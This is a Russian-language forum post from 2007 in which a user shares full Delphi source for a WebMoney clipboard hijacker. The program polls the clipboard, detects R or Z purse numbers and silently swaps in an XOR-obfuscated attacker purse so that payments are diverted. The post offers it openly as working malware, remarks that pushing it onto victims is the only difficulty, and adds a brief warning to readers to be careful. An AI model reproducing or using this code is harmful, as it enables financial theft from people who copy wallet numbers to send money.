Тема: Wm шалость
Показать сообщение отдельно

  #7  
Старый 21.06.2007, 10:26
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

=) Гы, спс! Исходник программы:

Код:
program wmb;

uses
  Windows, KOL;

const
  wmr = '\?<=:;8967?>?'; // hidestring('R123456789101', 14)
  wmz = 'G,/.)(+*%$,-,'; // hidestring('Z123456789101', 29)

type
  Twm = (Unknown, R, Z);

var
  Timer: PTimer;
  Mes: msg;

function hidestring(s: string; code: integer): string;
var
  t: Integer;
begin
  for t:=1 to Length(S) do S[t]:=Chr(Ord(S[t]) xor Code);
    Result:=S;
end;

function getwmtype(s: string): Twm;
var
  c: char;
  e: integer;
  i: int64;
begin
  result := Unknown;
  c := upcase(s[1]);
  if (length(s) <> 13) and (c <> chr($52)) and (c <> chr($5a)) then
    exit;
  if c = chr($52) then
    result := R
  else
    result := Z;
  delete(s,1,1);
  val(s,i,e);
  if e <> 0 then
    result := Unknown;
end;

procedure OnTimer(Sender: PControl);
var
  s: string;
begin
  if getwmtype(Clipboard2Text) = R then
    Text2Clipboard(hidestring(wmr, 14))
  else
    if getwmtype(Clipboard2Text) = Z then
      Text2Clipboard(hidestring(wmz, 29));
end;

begin
  Timer := NewTimer(200);
  Timer.OnTimer := TOnEvent(MakeMethod(nil,@OnTimer));
  Timer.Enabled := true;
   while (GetMessage(Mes, 0, 0, 0)) do
     begin
       TranslateMessage(Mes);
       DispatchMessage(Mes);
     end;
end.
Хоть, как сказал _Great_, такое уже было (я видать в то время под стол ходил), думаю, не все знают о данной фишке. Попасться реально легко (не считая сложностей впаривания), будьте внимательны
 
Ответить с цитированием